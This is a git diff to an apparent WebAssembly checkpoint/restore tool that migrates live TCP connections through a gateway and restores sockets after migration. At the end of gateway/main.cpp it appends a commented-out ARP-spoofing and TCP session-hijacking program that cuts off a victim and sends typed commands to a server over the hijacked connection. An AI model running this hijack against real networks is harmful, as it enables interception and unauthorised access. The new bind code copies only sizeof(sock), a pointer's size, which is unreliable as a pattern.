diff --git a/.github/workflows/build-windows.yml b/.github/workflows/build-windows.yml index 6940051..1628744 100644 --- a/.github/workflows/build-windows.yml +++ b/.github/workflows/build-windows.yml @@ -79,7 +79,7 @@ jobs: - name: build working-directory: ${{runner.workspace}}/build run: | - cmake --build . --config ${{matrix.build}} && cp MVVM_checkpoint.exe MVVM_checkpoint-windows.exe && cp MVVM_restore.exe MVVM_restore-windows.exe + cmake --build . --config ${{matrix.build}} && cp ${{matrix.build}}/MVVM_checkpoint.exe ${{matrix.build}}/MVVM_checkpoint-windows.exe && cp ${{matrix.build}}/MVVM_restore.exe ${{matrix.build}}/MVVM_restore-windows.exe - uses: actions/upload-artifact@v2 if: startsWith(github.ref, 'refs/tags/') && ${{matrix.build}} == "Release" diff --git a/gateway/main.cpp b/gateway/main.cpp index 8281f95..0524a2f 100644 --- a/gateway/main.cpp +++ b/gateway/main.cpp @@ -488,6 +488,8 @@ int main() { tcp_v_to_s = new TCPConnection(server_ip, client_ip, op_data->addr[0][1].port, op_data->addr[0][0].port, MVVM_SOCK_INTERFACE, TCPConnection::TIME_WAIT); + tcp_v_to_s->Sync(); + // block the connection start_block(client_ip, server_ip, op_data->addr[0][1].port, op_data->addr[0][0].port); } @@ -509,19 +511,104 @@ int main() { // stop keep_alive if (op_data->is_tcp) { backend_thread.pop_back(); + tcp_v_to_s = + new TCPConnection(server_ip, client_ip, op_data->addr[0][1].port, op_data->addr[0][0].port, + MVVM_SOCK_INTERFACE, TCPConnection::ESTABLISHED); tcp_s_to_v = new TCPConnection(client_ip, server_ip, op_data->addr[0][0].port, op_data->addr[0][1].port, MVVM_SOCK_INTERFACE, TCPConnection::ESTABLISHED); /* Both connection are already established... */ tcp_v_to_s->Sync(); tcp_s_to_v->Sync(); + // stop SYN LOGV(ERROR) << "Connections synchronized "; - } sleep(1); break; } } } -} \ No newline at end of file +} +// #include +// #include +// #include +// #include + +// /* Collapse namespaces */ +// using namespace std; +// using namespace Crafter; + +// /* Source port that we have to find out */ +// short_word srcport = 0; + +// int main() { + +// /* Set the interface */ +// string iface = "docker0"; + +// ip_forward(); + +// /* Set connection data */ +// string dst_ip = "172.17.0.3"; // <-- Destination IP +// string src_ip = "172.17.0.2"; // <-- Spoof IP +// short_word dstport = 12346; // <-- We know the spoofed IP connects to this port +// short_word srcport = 15772; + +// /* Begin the spoofing */ +// ARPContext* arp_context = ARPSpoofingReply(dst_ip,src_ip,iface); + +// /* Print some info */ +// PrintARPContext(*arp_context); + +// cout << "[@] Detected a source port: " << srcport << endl; + +// /* ------------------------------------- */ + +// /* TCP connection victim to server */ +// TCPConnection tcp_v_to_s(src_ip,dst_ip,srcport,dstport,iface,TCPConnection::ESTABLISHED); +// /* TCP connection server to victim */ +// TCPConnection tcp_s_to_v(dst_ip,src_ip,dstport,srcport,iface,TCPConnection::ESTABLISHED); +// /* Both connection are already established... */ + +// /* [+] Synchronize the ACK and SEQ numbers +// * This will block the program until some TCP packets from the spoofed connection +// * pass through your computer... +// */ +// tcp_v_to_s.Sync(); +// tcp_s_to_v.Sync(); + +// cout << "[@] Connections synchronized " << endl; + +// /* Give all this a second... */ +// sleep(1); + +// /* Start blocking the traffic of the spoofed connection */ +// start_block(dst_ip,src_ip,dstport,srcport); + +// /* Reset the connection to the victim */ +// tcp_s_to_v.Reset(); + +// /* Now we communicate with the server from our console... */ +// string line = ""; +// string centinel = "QUITCONSOLE"; +// while(line != centinel) { +// /* Get a line from standard input */ +// getline(cin,line); +// /* Send to the destination */ +// if(line != centinel) { +// line += "\n"; +// tcp_v_to_s.Send(line.c_str()); +// } +// } + +// /* Close the spoofed connection with the server after we send our commands */ +// tcp_v_to_s.Close(); + +// /* Clear everything */ +// clear_block(dst_ip,src_ip,dstport,srcport); +// clear_forward(); +// CleanARPContext(arp_context); + +// return 0; +// } \ No newline at end of file diff --git a/include/wamr.h b/include/wamr.h index 64fc92e..ebda5f8 100644 --- a/include/wamr.h +++ b/include/wamr.h @@ -30,7 +30,7 @@ class WAMRInstance { std::string aot_file_path{}; std::string wasm_file_path{}; std::vector int3_addr{}; - std::vector> switch_addr{}; + std::vector> switch_addr{}; std::vector dir_{}; std::vector map_dir_{}; std::vector env_{}; @@ -90,8 +90,8 @@ class WAMRInstance { int invoke_ftell(uint32 fd, uint32 offset, uint32 whench); int invoke_preopen(uint32 fd, const std::string &path); int invoke_sock_open(uint32_t domain, uint32_t socktype, uint32_t protocol, uint32_t sockfd); - int invoke_sock_listen(); - int invoke_bind(uint32_t sockfd, const struct sockaddr *addr, socklen_t addrlen); + int invoke_sock_listen(uint32_t sockfd, uint32_t fd); + int invoke_sock_bind(uint32_t sockfd, struct sockaddr *sock, socklen_t sock_size); int invoke_recv(int sockfd, uint8 **buf, size_t len, int flags); int invoke_recvfrom(int sockfd, uint8 **buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen); ~WAMRInstance(); diff --git a/include/wamr_wasi_context.h b/include/wamr_wasi_context.h index fc95b7e..ea7342a 100644 --- a/include/wamr_wasi_context.h +++ b/include/wamr_wasi_context.h @@ -57,6 +57,7 @@ struct SocketMetaData { SocketAddrPool socketAddress{}; WasiSockOpenData socketOpenData{}; int replay_start_index{}; + bool is_server = false; bool is_collection = false; #if !defined(_WIN32) WasiSockSendToData socketSentToData{}; // diff --git a/src/wamr.cpp b/src/wamr.cpp index 391b009..d8b2b8e 100644 --- a/src/wamr.cpp +++ b/src/wamr.cpp @@ -11,6 +11,7 @@ #include "wasm_runtime.h" #include #include +#include #if !defined(_WIN32) #include "thread_manager.h" #endif @@ -229,6 +230,75 @@ int WAMRInstance::invoke_sock_open(uint32_t domain, uint32_t socktype, uint32_t auto res = wasm_runtime_call_wasm(exec_env, func, 4, argv); return argv[0]; } +int WAMRInstance::invoke_sock_listen(uint32_t sockfd, uint32_t backlog) { + auto name = "listen"; + if (!(func = wasm_runtime_lookup_function(module_inst, name, nullptr))) { + LOGV(ERROR) << "The wasi " << name << " function is not found."; + auto target_module = get_module_instance()->e; + for (int i = 0; i < target_module->function_count; i++) { + auto cur_func = &target_module->functions[i]; + if (cur_func->is_import_func) { + LOGV(DEBUG) << cur_func->u.func_import->field_name; + if (!strcmp(cur_func->u.func_import->field_name, name)) { + + func = ((WASMFunctionInstanceCommon *)cur_func); + break; + } + } else { + LOGV(DEBUG) << cur_func->u.func->field_name; + + if (!strcmp(cur_func->u.func->field_name, name)) { + func = ((WASMFunctionInstanceCommon *)cur_func); + break; + } + } + } + } + uint32 argv[2] = {sockfd, backlog}; + auto res = wasm_runtime_call_wasm(exec_env, func, 2, argv); + return argv[0]; +} +int WAMRInstance::invoke_sock_bind(uint32_t sockfd, struct sockaddr *sock, socklen_t sock_size) { + auto name = "bind"; + if (!(func = wasm_runtime_lookup_function(module_inst, name, nullptr))) { + LOGV(ERROR) << "The wasi " << name << " function is not found."; + auto target_module = get_module_instance()->e; + for (int i = 0; i < target_module->function_count; i++) { + auto cur_func = &target_module->functions[i]; + if (cur_func->is_import_func) { + LOGV(DEBUG) << cur_func->u.func_import->field_name; + if (!strcmp(cur_func->u.func_import->field_name, name)) { + func = ((WASMFunctionInstanceCommon *)cur_func); + break; + } + } else { + LOGV(DEBUG) << cur_func->u.func->field_name; + + if (!strcmp(cur_func->u.func->field_name, name)) { + func = ((WASMFunctionInstanceCommon *)cur_func); + break; + } + } + } + } + + char *buffer_ = nullptr; + uint32_t buffer_for_wasm; + + buffer_for_wasm = wasm_runtime_module_malloc(module_inst, 100, reinterpret_cast(&buffer_)); + if (buffer_for_wasm != 0) { + uint32 argv[3]; + memcpy(buffer_, sock, sizeof(sock)); // use native address for accessing in runtime + argv[0] = sockfd; // pass the buffer_ address for WASM space + argv[1] = buffer_for_wasm; // the size of buffer_ + argv[2] = sock_size; // O_RW | O_CREATE + wasm_runtime_call_wasm(exec_env, func, 3, argv); + int res = argv[0]; + wasm_runtime_module_free(module_inst, buffer_for_wasm); + return res; + } + return -1; +} int WAMRInstance::invoke_fseek(uint32 fd, uint32 offset) { auto name = "__wasi_fd_seek"; if (!(func = wasm_runtime_lookup_function(module_inst, name, nullptr))) { diff --git a/src/wamr_export.cpp b/src/wamr_export.cpp index cae853e..5cbba05 100644 --- a/src/wamr_export.cpp +++ b/src/wamr_export.cpp @@ -199,11 +199,7 @@ void insert_socket(int fd, int domain, int type, int protocol) { void update_socket_fd_address(int fd, SocketAddrPool *address) { printf("\n #update_socket_fd_address(fd, address) %d \n\n", fd); - - wamr->socket_fd_map_[fd].domain = wamr->socket_fd_map_[fd].domain; - wamr->socket_fd_map_[fd].type = wamr->socket_fd_map_[fd].type; - wamr->socket_fd_map_[fd].protocol = wamr->socket_fd_map_[fd].protocol; - + wamr->socket_fd_map_[fd].is_server = true; wamr->socket_fd_map_[fd].socketAddress.port = address->port; if (address->is_4) { wamr->socket_fd_map_[fd].socketAddress.is_4 = true; diff --git a/src/wamr_wasi_context.cpp b/src/wamr_wasi_context.cpp index 34dc305..9f5d88b 100644 --- a/src/wamr_wasi_context.cpp +++ b/src/wamr_wasi_context.cpp @@ -141,13 +141,22 @@ void WAMRWASIContext::restore_impl(WASIArguments *env) { for (auto [fd, socketMetaData] : this->socket_fd_map) { auto res = wamr->invoke_sock_open(socketMetaData.domain, socketMetaData.type, socketMetaData.protocol, fd); // whether need to listen - // if (socketMetaData.type == SOCK_STREAM) { - // wamr->invoke_sock_listen(); - // } - // whether need to bind - // if (socketMetaData.type == SOCK_STREAM) { - // wamr->invoke_sock_bind(); - // } + if (socketMetaData.is_server) { + if (socketMetaData.socketAddress.is_4) { + struct sockaddr_in sockaddr4 = sockaddr_from_ip4(socketMetaData.socketAddress); + socklen_t sockaddr4_size = sizeof(sockaddr4); + wamr->invoke_sock_bind(fd, (struct sockaddr *)&sockaddr4, sizeof(sockaddr4)); + + } else { + struct sockaddr_in6 sockaddr6 = sockaddr_from_ip6(socketMetaData.socketAddress); + socklen_t sockaddr6_size = sizeof(sockaddr6); + wamr->invoke_sock_bind(fd, (struct sockaddr *)&sockaddr6, sizeof(sockaddr6)); + } + // whether need to bind + if (wamr->op_data.is_tcp) { + wamr->invoke_sock_listen(fd, 3); + } + } // renumber or not? LOGV(INFO) << "tmp_sock_fd " << res << " fd" << fd; wamr->socket_fd_map_[fd] = socketMetaData;